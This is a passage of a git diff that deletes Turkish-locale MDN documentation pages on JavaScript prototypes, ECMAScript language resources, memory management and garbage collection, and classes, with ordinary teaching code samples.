an objects prototype and can even force a prototype on a prototype-less object created with <code>Object.create(null)</code>.</td> - <td style="vertical-align: top;">Should-be-deprecated and ill-performant. Making your Javascript run fast is completely out of the question if you dare use this in the final production code because many browsers optimize the prototype and try to guess the location of the method in the memory when calling an instance in advance, but setting the prototype dynamically disrupts all these optimizations and can even force some browsers to recompile for deoptimization your code just to make it work according to the specs. Not supported in IE8 and below.</td> - </tr> - <tr> - <td>__proto__</td> - <td style="vertical-align: top;"> - <pre class="brush: js"> -function foo(){} -foo.prototype = { - foo_prop: "foo val" -}; -function bar(){} -var proto = { - bar_prop: "bar val", - __proto__: foo.prototype -}; -bar.prototype = proto; -var inst = new bar; -console.log(inst.foo_prop); -console.log(inst.bar_prop); -</pre> - - <pre class="brush: js"> -var inst = { - __proto__: { - bar_prop: "bar val", - __proto__: { - foo_prop: "foo val", - __proto__: Object.prototype - } - } -}; -console.log(inst.foo_prop); -console.log(inst.bar_prop)</pre> - </td> - <td style="vertical-align: top;">Support in all in-use-today browsers which are all non-microsoft browsers plus IE11 and up. Setting __proto__ to something that is not an object only fails silently. It does not throw an exception.</td> - <td style="vertical-align: top;">Grossly deprecated and non-performant. Making your Javascript run fast is completely out of the question if you dare use this in the final production code because many browsers optimize the prototype and try to guess the location of the method in the memory when calling an instance in advance, but setting the prototype dynamically disrupts all these optimizations and can even force some browsers to recompile for deoptimization your code just to make it work according to the specs. Not supported in IE10 and below.</td> - </tr> - </tbody> -</table> - -<h2 id="prototype_and_Object.getPrototypeOf"><code>prototype</code> and <code>Object.getPrototypeOf</code></h2> - -<p>JavaScript is a bit confusing for developers coming from Java or C++, as it's all dynamic, all runtime, and it has no classes at all. It's all just instances (objects). Even the "classes" we simulate are just a function object.</p> - -<p>You probably already noticed that our <code>function A</code> has a special property called <code>prototype</code>. This special property works with the JavaScript <code>new </code>operator. The reference to the prototype object is copied to the internal <code>[[Prototype]]</code> property of the new instance. For example, when you do <code>var a1 = new A()</code>, JavaScript (after creating the object in memory and before running function <code>A()</code> with <code>this</code> defined to it) sets <code>a1.[[Prototype]] = A.prototype</code>. When you then access properties of the instance, JavaScript first checks whether they exist on that object directly, and if not, it looks in <code>[[Prototype]]</code>. This means that all the stuff you define in <code>prototype</code> is effectively shared by all instances, and you can even later change parts of <code>prototype</code> and have the changes appear in all existing instances, if you wanted to.</p> - -<p>If, in the example above, you do <code>var a1 = new A(); var a2 = new A();</code> then <code>a1.doSomething</code> would actually refer to <code>Object.getPrototypeOf(a1).doSomething</code>, which is the same as the <code>A.prototype.doSomething</code> you defined, i.e. <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p> - -<p>In short, <code>prototype</code> is for types, while <code>Object.getPrototypeOf()</code> is the same for instances.</p> - -<p><code>[[Prototype]]</code> is looked at <em>recursively</em>, i.e. <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>, <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> etc., until it's found or <code>Object.getPrototypeOf </code>returns null.</p> - -<p>So, when you call</p> - -<pre class="brush: js">var o = new Foo();</pre> - -<p>JavaScript actually just does</p> - -<pre class="brush: js">var o = new Object(); -o.[[Prototype]] = Foo.prototype; -Foo.call(o);</pre> - -<p>(or something like that) and when you later do</p> - -<pre class="brush: js">o.someProp;</pre> - -<p>it checks whether <code>o</code> has a property <code>someProp</code>. If not, it checks <code>Object.getPrototypeOf(o).someProp</code>, and if that doesn't exist it checks <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code>, and so on.</p> - -<h2 id="In_conclusion">In conclusion</h2> - -<p>It is essential to understand the prototypal inheritance model before writing complex code that makes use of it. Also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance problems. Further, the native prototypes should <strong>never</strong> be extended unless it is for the sake of compatibility with newer JavaScript features.</p> diff --git a/files/tr/web/javascript/language_resources/index.html b/files/tr/web/javascript/language_resources/index.html deleted file mode 100644 index b9790c06d4..0000000000 --- a/files/tr/web/javascript/language_resources/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: JavaScript language resources -slug: Web/JavaScript/Language_Resources -tags: - - ECMA JavaScript Türkçe - - ECMA Türkçe - - ECMAScript6 - - Türkçe JavaScript -translation_of: Web/JavaScript/Language_Resources ---- -<div>{{JsSidebar}}</div> - -<p><strong>ECMAScript</strong> is the scripting language that forms the basis of <a href="/en-US/docs/JavaScript">JavaScript</a>. ECMAScript standardized by the <a href="https://www.ecma-international.org/" title="https://www.ecma-international.org/">ECMA International</a> standards organization in the <strong>ECMA-262 and ECMA-402 specifications</strong>. The following ECMAScript standards have been approved or are being worked on:</p> - -<table class="standard-table"> - <tbody> - <tr> - <th>Name</th> - <th>Links</th> - <th>Release date</th> - <th>Description</th> - </tr> - <tr> - <th colspan="4">Current editions</th> - </tr> - <tr> - <td>ECMA-262 10<sup>th</sup> Edition</td> - <td> - <p><a href="https://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf">PDF</a>, <a href="https://ecma-international.org/ecma-262/10.0/index.html">HTML</a>, <a href="https://tc39.github.io/ecma262/">Working draft</a>, <a href="https://github.com/tc39/ecma262">repository</a></p> - </td> - <td>2019</td> - <td>ECMAScript 2019 Language Specification</td> - </tr> - <tr> - <td>ECMA-262 9<sup>th</sup> Edition</td> - <td> - <p><a href="http://ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-262/9.0/index.html#Title">HTML</a>, <br> - <a href="https://tc39.github.io/ecma262/">Working draft</a>, <a href="https://github.com/tc39/ecma262">repository</a></p> - </td> - <td>2018</td> - <td>ECMAScript 2018 Language Specification</td> - </tr> - <tr> - <td>ECMA-402 5<sup>th</sup> Edition</td> - <td><a href="https://tc39.github.io/ecma402/">Working draft</a>, <a href="https://github.com/tc39/ecma402">repository</a></td> - <td>2018</td> - <td>ECMAScript 2018 Internationalization API Specification</td> - </tr> - <tr> - <th colspan="4">Obsolete/historical editions</th> - </tr> - <tr> - <td>ECMA-262</td> - <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">PDF</a></td> - <td>June 1997</td> - <td>ECMAScript: A general purpose, cross-platform programming language. This was the first version of the ECMAScript standard.</td> - </tr> - <tr> - <td>ECMA-262 2<sup>nd</sup> Edition</td> - <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%202nd%20edition,%20August%201998.pdf">PDF</a></td> - <td>August 1998</td> - <td>ECMAScript Language Specification. This is the second revision of the ECMAScript standard; also ISO standard 16262.</td> - </tr> - <tr> - <td>ECMA-262 3<sup>rd</sup> Edition</td> - <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf">PDF</a></td> - <td>December 1999</td> - <td>ECMAScript Language Specification. This is the third revision of the ECMAScript standard; corresponds to JavaScript 1.5.<br> - See also the <a href="https://www.mozilla.org/js/language/E262-3-errata.html">errata</a></td> - </tr> - <tr> - <td>ECMA-262 5<sup>th</sup> Edition</td> - <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a></td> - <td>December 2009</td> - <td>ECMAScript Language Specification. This is the fifth revision of the ECMAScript standard.<br> - See also the <a href="https://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">ES5 errata</a> and <a href="/en-US/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5 support in Mozilla</a></td> - </tr> - <tr> - <td>ECMA-357</td> - <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-WITHDRAWN/ECMA-357,%201st%20edition,%20June%202004.pdf">PDF</a></td> - <td>June 2004</td> - <td><a href="/en-US/docs/E4X" title="E4X">ECMAScript for XML (E4X)</a>.<br> - See also the <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">E4X errata</a>.</td> - </tr> - <tr> - <td>ECMA-262 5.1 Edition</td> - <td><a href="https://www.ecma-international.org/ecma-262/5.1/Ecma-262.pdf">PDF</a>, <a href="https://www.ecma-international.org/ecma-262/5.1/">HTML</a></td> - <td>June 2011</td> - <td>This version is fully aligned with the 3<sup>rd</sup> edition of the international standard <a href="https://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a>.<br> - It includes ES5 errata fixes, no new features.</td> - </tr> - <tr> - <td>ECMA-402 1<sup>st</sup> Edition</td> - <td><a href="https://ecma-international.org/ecma-402/1.0/ECMA-402.pdf">PDF</a>, <a href="https://ecma-international.org/ecma-402/1.0/index.html">HTML</a></td> - <td>December 2012</td> - <td>ECMAScript Internationalization API Specification</td> - </tr> - <tr> - <td>ECMA-262 6<sup>th</sup> Edition</td> - <td><a href="https://www.ecma-international.org/ecma-262/6.0/ECMA-262.pdf">PDF</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a></td> - <td>June 2015</td> - <td>ECMAScript 2015 Language Specification</td> - </tr> - <tr> - <td>ECMA-402 2<sup>nd</sup> Edition</td> - <td><a href="https://www.ecma-international.org/ecma-402/2.0/ECMA-402.pdf">PDF</a></td> - <td>June 2015</td> - <td>ECMAScript 2015 Internationalization API Specification</td> - </tr> - <tr> - <td>ECMA-262 7<sup>th</sup> Edition</td> - <td><a href="https://www.ecma-international.org/ecma-262/7.0/">HTML</a></td> - <td>June 2016</td> - <td>ECMAScript 2016 Language Specification</td> - </tr> - <tr> - <td>ECMA-402 3<sup>rd</sup> Edition</td> - <td><a href="https://www.ecma-international.org/ecma-402/3.0/">HTML</a></td> - <td>June 2016</td> - <td>ECMAScript 2016 Internationalization API Specification</td> - </tr> - <tr> - <td>ECMA-262 8<sup>th</sup> Edition</td> - <td><a href="https://www.ecma-international.org/ecma-262/8.0/">HTML</a></td> - <td>June 2017</td> - <td>ECMAScript 2017 Language Specification</td> - </tr> - <tr> - <td>ECMA-402 4<sup>th</sup> Edition</td> - <td><a href="https://www.ecma-international.org/ecma-402/4.0/">HTML</a></td> - <td>June 2017</td> - <td>ECMAScript 2017 Internationalization API Specification</td> - </tr> - </tbody> -</table> - -<p><strong>ES.Next</strong> is a dynamic name that refers to whatever the next version is at the time of writing. ES.Next features are more correctly called proposals, because, by definition, the specification has not been finalized yet.</p> - -<p>See <a href="https://en.wikipedia.org/wiki/ECMAScript" title="https://en.wikipedia.org/wiki/ECMAScript">Wikipedia ECMAScript entry</a> for more information on ECMAScript history.</p> - -<p>You can participate in or just track the work on the next revisions of the ECMAScript Language Specification, code-named "Harmony", and the ECMAScript Internationalization API Specification via public wiki and the <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss mailing list</a> linked from <a href="https://www.ecmascript.org/community.php" title="https://www.ecmascript.org/community.php">ecmascript.org</a>.</p> - -<h2 id="Implementations">Implementations</h2> - -<ul> - <li><a href="/en-US/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a> - the JavaScript engine used in various Mozilla products, including Firefox;</li> - <li><a href="/en-US/docs/Rhino" title="Rhino">Rhino</a> - the JavaScript engine is written in Java;</li> - <li><a href="/en-US/docs/Tamarin" title="Tamarin">Tamarin</a> - the ActionScript virtual machine (used in the Adobe® Flash® Player);</li> - <li><a href="https://en.wikipedia.org/wiki/List_of_ECMAScript_engines" title="https://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Other implementations</a> (Wikipedia).</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://brendaneich.com/" title="https://brendaneich.com/">Brendan Eich's blog</a>. Brendan is the creator of JavaScript and the SpiderMonkey JS engine. He still works with the ECMA working group to evolve the language.</li> - <li><a href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Dmitry Soshnikov's analysis of ECMA-262 Edition 3 and 5</a></li> -</ul> diff --git a/files/tr/web/javascript/memory_management/index.html b/files/tr/web/javascript/memory_management/index.html deleted file mode 100644 index 50c5a36819..0000000000 --- a/files/tr/web/javascript/memory_management/index.html +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Bellek Yönetimi -slug: Web/JavaScript/Memory_Management -translation_of: Web/JavaScript/Memory_Management ---- -<div>{{JsSidebar("Advanced")}}</div> - -<p>Low-level languages like C, have manual memory management primitives such as <a href="https://pubs.opengroup.org/onlinepubs/009695399/functions/malloc.html">malloc()</a> and <a href="https://en.wikipedia.org/wiki/C_dynamic_memory_allocation#Overview_of_functions">free()</a>. In contrast, JavaScript automatically allocates memory when objects are created and frees it when they are not used anymore (<em>garbage collection</em>). This automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management.</p> - -<h2 id="Memory_life_cycle">Memory life cycle</h2> - -<p>Regardless of the programming language, the memory life cycle is pretty much always the same:</p> - -<ol> - <li>Allocate the memory you need</li> - <li>Use the allocated memory (read, write)</li> - <li>Release the allocated memory when it is not needed anymore</li> -</ol> - -<p>The second part is explicit in all languages. The first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like JavaScript.</p> - -<h3 id="Allocation_in_JavaScript">Allocation in JavaScript</h3> - -<h4 id="Value_initialization">Value initialization</h4> - -<p>In order to not bother the programmer with allocations, JavaScript will automatically allocate memory when values are initially declared.</p> - -<pre class="brush: js">var n = 123; // allocates memory for a number -var s = 'azerty'; // allocates memory for a string - -var o = { - a: 1, - b: null -}; // allocates memory for an object and contained values - -// (like object) allocates memory for the array and -// contained values -var a = [1, null, 'abra']; - -function f(a) { - return a + 2; -} // allocates a function (which is a callable object) - -// function expressions also allocate an object -someElement.addEventListener('click', function() { - someElement.style.backgroundColor = 'blue'; -}, false); -</pre> - -<h4 id="Allocation_via_function_calls">Allocation via function calls</h4> - -<p>Some function calls result in object allocation.</p> - -<pre class="brush: js">var d = new Date(); // allocates a Date object - -var e = document.createElement('div'); // allocates a DOM element</pre> - -<p>Some methods allocate new values or objects:</p> - -<pre class="brush: js">var s = 'azerty'; -var s2 = s.substr(0, 3); // s2 is a new string -// Since strings are immutable values, -// JavaScript may decide to not allocate memory, -// but just store the [0, 3] range. - -var a = ['ouais ouais', 'nan nan']; -var a2 = ['generation', 'nan nan']; -var a3 = a.concat(a2); -// new array with 4 elements being -// the concatenation of a and a2 elements. -</pre> - -<h3 id="Using_values">Using values</h3> - -<p>Using values basically means reading and writing in allocated memory. This can be done by reading or writing the value of a variable or an object property or even passing an argument to a function.</p> - -<h3 id="Release_when_the_memory_is_not_needed_anymore">Release when the memory is not needed anymore</h3> - -<p>The majority of memory management issues occur at this phase. The most difficult aspect of this stage is determining when the allocated memory is no longer needed. </p> - -<p>Low-level languages require the developer to manually determine at which point in the program the allocated memory is no longer needed and to release it.</p> - -<p>Some high-level languages, such as JavaScript, utilize a form of automatic memory management known as <a href="https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)">garbage collection</a> (GC). The purpose of a garbage collector is to monitor memory allocation and determine when a block of allocated memory is no longer needed and reclaim it. This automatic process is an approximation since the general problem of determining whether or not a specific piece of memory is still needed is <a class="external" href="http://en.wikipedia.org/wiki/Decidability_%28logic%29">undecidable</a>.</p> - -<h2 id="Garbage_collection">Garbage collection</h2> - -<p>As stated above, the general problem of automatically finding whether some memory "is not needed anymore" is undecidable. As a consequence, garbage collectors implement a restriction of a solution to the general problem. This section will explain the concepts that are necessary for understanding the main garbage collection algorithms and their respective limitations.</p> - -<h3 id="References">References</h3> - -<p>The main concept that garbage collection algorithms rely on is the concept of <em>reference</em>. Within the context of memory management, an object is said to reference another object if the former has access to the latter (either implicitly or explicitly). For instance, a JavaScript object has a reference to its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a> (implicit reference) and to its properties values (explicit reference).</p> - -<p>In this context, the notion of an "object" is extended to something broader than regular JavaScript objects and also contain function scopes (or the global lexical scope).</p> - -<h3 id="Reference-counting_garbage_collection">Reference-counting garbage collection</h3> - -<p>This is the most naive garbage collection algorithm. This algorithm reduces the problem from determining whether or not an object is still needed to determining if an object still has any other objects referencing it. An object is said to be "garbage", or collectible if there are zero references pointing to it.</p> - -<h4 id="Example">Example</h4> - -<pre class="brush: js">var x = { - a: { - b: 2 - } -}; -// 2 objects are created. One is referenced by the other as one of its properties. -// The other is referenced by virtue of being assigned to the 'x' variable. -// Obviously, none can be garbage-collected. - - -var y = x; // The 'y' variable is the second thing that has a reference to the object. - -x = 1; // Now, the object that was originally in 'x' has a unique reference - // embodied by the 'y' variable. - -var z = y.a; // Reference to 'a' property of the object. - // This object now has 2 references: one as a property, - // the other as the 'z' variable. - -y = 'mozilla'; // The object that was originally in 'x' has now zero - // references to it. It can be garbage-collected. - // However its 'a' property is still referenced by - // the 'z' variable, so it cannot be freed. - -z = null; // The 'a' property of the object originally in x - // has zero references to it. It can be garbage collected. -</pre> - -<h4 id="Limitation_Circular_references">Limitation: Circular references</h4> - -<p>There is a limitation when it comes to circular references. In the following example, two objects are created with properties that reference one another, thus creating a cycle. They will go out of scope after the function call has completed. At that point they become unneeded and their allocated memory should be reclaimed. However, the reference-counting algorithm will not consider them reclaimable since each of the two objects has at least one reference pointing to them, resulting in neither of them being marked for garbage collection. Circular references are a common cause of memory leaks.</p> - -<pre class="brush: js">function f() { - var x = {}; - var y = {}; - x.a = y; // x references y - y.a = x; // y references x - - return 'azerty'; -} - -f(); -</pre> - -<h4 id="Real-life_example">Real-life example</h4> - -<p>Internet Explorer 6 and 7 are known to have reference-counting garbage collectors for DOM objects. Cycles are a common mistake that can generate memory leaks:</p> - -<pre class="brush: js">var div; -window.onload = function() { - div = document.getElementById('myDivElement'); - div.circularReference = div; - div.lotsOfData = new Array(10000).join('*'); -}; -</pre> - -<p>In the above example, the DOM element "myDivElement" has a circular reference to itself in the "circularReference" property. If the property is not explicitly removed or nulled, a reference-counting garbage collector will always have at least one reference intact and will keep the DOM element in memory even if it was removed from the DOM tree. If the DOM element holds a large amount of data (illustrated in the above example with the "lotsOfData" property), the memory consumed by this data will never be released and can lead to memory related issues such as the browser becoming increasingly slower.</p> - -<h3 id="Mark-and-sweep_algorithm">Mark-and-sweep algorithm</h3> - -<p>This algorithm reduces the definition of "an object is no longer needed" to "an object is unreachable".</p> - -<p>This algorithm assumes the knowledge of a set of objects called <em>roots. </em>In JavaScript, the root is the global object. Periodically, the garbage collector will start from these roots, find all objects that are referenced from these roots, then all objects referenced from these, etc. Starting from the roots, the garbage collector will thus find all <em>reachable</em> objects and collect all non-reachable objects.</p> - -<p>This algorithm is an improvement over the previous one since an object having zero references is effectively unreachable. The opposite does not hold true as we have seen with circular references.</p> - -<p>As of 2012, all modern browsers ship a mark-and-sweep garbage-collector. All improvements made in the field of JavaScript garbage collection (generational/incremental/concurrent/parallel garbage collection) over the last few years are implementation improvements of this algorithm, but not improvements over the garbage collection algorithm itself nor its reduction of the definition of when "an object is no longer needed".</p> - -<h4 id="Cycles_are_no_longer_a_problem">Cycles are no longer a problem</h4> - -<p>In the first example above, after the function call returns, the two objects are no longer referenced by any resource that is reachable from the global object. Consequently, they will be found unreachable by the garbage collector and have their allocated memory reclaimed.</p> - -<h4 id="Limitation_Releasing_memory_manually">Limitation: Releasing memory manually</h4> - -<p>There are times when it would be convenient to manually decide when and what memory is released. In order to release the memory of an object, it needs to be made explicitly unreachable.</p> - -<p>As of 2019, it is not possible to explicitly or programmatically trigger garbage collection in JavaScript.</p> - -<h2 id="Node.js">Node.js</h2> - -<p>Node.js offers additional options and tools for configuring and debugging memory issues that may not be available for JavaScript executed within a browser environment.</p> - -<h4 id="V8_Engine_Flags">V8 Engine Flags</h4> - -<p>The max amount of available heap memory can be increased with a flag:</p> - -<p><code>node --<em>max-old-space-size=6000</em> index.js</code></p> - -<p>We can also expose the garbage collector for debugging memory issues using a flag and the <a href="https://nodejs.org/en/docs/guides/debugging-getting-started/">Chrome Debugger</a>:</p> - -<pre class="brush: bash">node --expose-gc --inspect index.js</pre> - -<h4 id="See_also">See also</h4> - -<ul> - <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">IBM article on "Memory leak patterns in JavaScript" (2007)</a></li> - <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Kangax article on how to register event handler and avoid memory leaks (2010)</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance" title="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">Performance</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/classes/index.html b/files/tr/web/javascript/reference/classes/index.html deleted file mode 100644 index 77a29ab167..0000000000 --- a/files/tr/web/javascript/reference/classes/index.html +++ /dev/null @@ -1,276 +0,0 @@ ---- -title: Classes -slug: Web/JavaScript/Reference/Classes -tags: - - Classes - - Constructors - - ECMAScript6 - - Inheritance - - Intermediate - - JavaScript - - Kalıtım - - NeedsTranslation - - TopicStub - - sınıf -translation_of: Web/JavaScript/Reference/Classes ---- -<div>{{JsSidebar("Classes")}}</div> - -<p id="ECMAScript_2015_ile_tanıtılan_Javascript_sınıfları_aslında_halihazırdaki_prototype_temelli_kalıtımın_sözdizi_daha_kolaylaştırılmış_halidir._Class_sözdizimi_yeni_bir_nesne_tabanlı_Javascript_modeli_sunmamaktadır.">ECMAScript 2015 ile tanıtılan Javascript sınıfları, aslında halihazırdaki prototype temelli kalıtımın, sözdizi daha kolaylaştırılmış halidir. Class sözdizimi yeni bir nesne tabanlı Javascript modeli <u>sunmamaktadır</u>.</p> - -<h2 id="Sınıf_tanımlama">Sınıf tanımlama</h2> - -<p><br> - Aslında sınıflar class oluşturmak için kullanılan özel <a href="/tr/docs/Web/JavaScript/Reference/Functions">fonksiyonlar</a>dır. Javascript sınıfları <a href="/tr/docs/Web/JavaScript/Reference/Operators/function">klasik fonksiyon tanımladığınız</a> gibi tanımlayabilir veya fonksiyonlar ile yapabildiğiniz gibi bir <a href="/tr/docs/Web/JavaScript/Reference/Statements/class">değişkene atayabilirsiniz</a>.</p> - -<h3 id="Sınıf_Tanımları">Sınıf Tanımları</h3> - -<p>Bir sınıf tanımlamanın bir yolu <code>class</code> ifadesini sınıf adınızla birlikte kullanmaktır. (Örn: Dikdortgen)</p> - -<pre class="brush: js">class Dikdortgen { - constructor(yukseklik, genislik) { - this.yukseklik = yukseklik; - this.genislik = genislik; - } -}</pre> - -<h4 id="Erişim">Erişim</h4> - -<p>Sınıf tanımları ve fonksiyon tanımları arasındaki önemli bir fark, fonksiyonlara tanımlandığı satırdan önce {{Glossary("Hoisting", "erişim sağlanabilir")}}. Sınıflara tanımlandığı satırdan önce erişilemezler. Önce sınıfları tanımlamanız ve ardından ona erişmeniz gerekir. Aksi halde aşağıdakine benzer bir hatayla karşılaşırsınız. {{jsxref("ReferenceError")}}:</p> - -<pre class="brush: js example-bad">var p = new Galeri(); // ReferenceError - -class Galeri {} -</pre> - -<h3 id="Class_expressions">Class expressions</h3> - -<p>Bir class'ı tanımlamanın bir başka yolu ise <strong>"class"</strong> ifadesidir. Class ifadelerine isim verilebilir. İsimli olan bir class ifadesi class body'sinin localidir.</p> - -<p> </p> - -<pre class="brush: js">// isimsiz class -var Dikdortgen = class { - constructor(yukseklik, genislik) { - this.yukseklik= yukseklik; - this.genislik= genislik; - } -}; - -// isimli class -var Dikdortgen = class Dikdortgen { - constructor(yukseklik, genislik) { - this.yukseklik= yukseklik; - this.genislik= genislik; - } -}; -</pre> - -<h2 id="Class_body_and_method_definitions">Class body and method definitions</h2> - -<p>The body of a class is the part that is in curly brackets <code>{}</code>. This is where you define class members, such as methods or constructors.</p> - -<h3 id="Strict_mode">Strict mode</h3> - -<p>The bodies of <em>class declarations</em> and <em>class expressions</em> are executed in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>.</p> - -<h3 id="Constructor">Constructor</h3> - -<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor</a></code> method is a special method for creating and initializing an object created with a <code>class</code>. There can only be one special method with the name "constructor" in a class. A {{jsxref("SyntaxError")}} will be thrown if the class contains more than one occurrence of a <code>constructor</code> method.</p> - -<p>A constructor can use the <code>super</code> keyword to call the constructor of a parent class.</p> - -<h3 id="Prototype_methods">Prototype methods</h3> - -<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>.</p> - -<pre class="brush: js">class Polygon { - constructor(height, width) { - this.height = height; - this.width = width; - } - - get area() { - return this.calcArea(); - } - - calcArea() { - return this.height * this.width; - } -}</pre> - -<h3 id="Static_methods">Static methods</h3> - -<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> keyword defines a static method for a class. Static methods are called without <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_object_(class_instance)" title='An example of class instance is "var john = new Person();"'>instantiating </a>their class and are also <strong>not </strong>callable when the class is instantiated. Static methods are often used to create utility functions for an application.</p> - -<pre class="brush: js">class Point { - constructor(x, y) { - this.x = x; - this.y = y; - } - - static distance(a, b) { - const dx = a.x - b.x; - const dy = a.y - b.y; - - return Math.sqrt(dx*dx + dy*dy); - } -} - -const p1 = new Point(5, 5); -const p2 = new Point(10, 10); - -console.log(Point.distance(p1, p2));</pre> - -<h2 id="Sub_classing_with_extends">Sub classing with <code>extends</code></h2> - -<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> keyword is used in <em>class declarations</em> or <em>class expressions</em> to create a class as a child of another class.</p> - -<pre class="brush: js">class Animal { - constructor(name) { - this.name = name; - } - - speak() { - console.log(this.name + ' makes a noise.'); - } -} - -class Dog extends Animal { - speak() { - console.log(this.name + ' barks.'); - } -} -</pre> - -<h2 id="Super_class_calls_with_super">Super class calls with <code>super</code></h2> - -<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></code> keyword is used to call functions on an object's parent.</p> - -<pre class="brush: js">class Cat { - constructor(name) { - this.name = name; - } - - speak() { - console.log(this.name + ' makes a noise.'); - } -} - -class Lion extends Cat { - speak() { - super.speak(); - console.log(this.name + ' roars.'); - } -} -</pre> - -<h2 id="Mix-ins">Mix-ins</h2> - -<p>Abstract subclasses or <em>mix-ins</em> are templates for classes. An ECMAScript class can only have a single superclass, so multiple inheritance from tooling classes, for example, is not possible. The functionality must be provided by the superclass.</p> - -<p>A function with a superclass as input and a subclass extending that superclass as output can be used to implement mix-ins in ECMAScript:</p> - -<pre class="brush: js">var CalculatorMixin = Base => class extends Base { - calc() { } -}; - -var RandomizerMixin = Base => class extends Base { - randomize() { } -}; -</pre> - -<p>A class that uses these mix-ins can then be written like this:</p> - -<pre class="brush: js">class Foo { } -class Bar extends CalculatorMixin(RandomizerMixin(Foo)) { }</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Edge</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome(42.0)}}<sup>[1]</sup><br> - {{CompatChrome(49.0)}}</td> - <td>45</td> - <td>13</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatSafari(9.0)}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>45</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>9</td> - <td>{{CompatChrome(42.0)}}<sup>[1]</sup><br> - {{CompatChrome(49.0)}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Requires strict mode. Non-strict mode support is behind the flag "Enable Experimental JavaScript", disabled by default.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> - <li>{{jsxref("Operators/super", "super")}}</li> - <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Blog post: "ES6 In Depth: Classes"</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/classes/static/index.html b/files/tr/web/javascript/reference/classes/static/index.html deleted file mode 100644 index 2214e7e227..0000000000 --- a/files/tr/web/javascript/reference/classes/static/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: static -slug: Web/JavaScript/Reference/Classes/static -tags: - - metod - - statik - - sınıf - - tanım -translation_of: 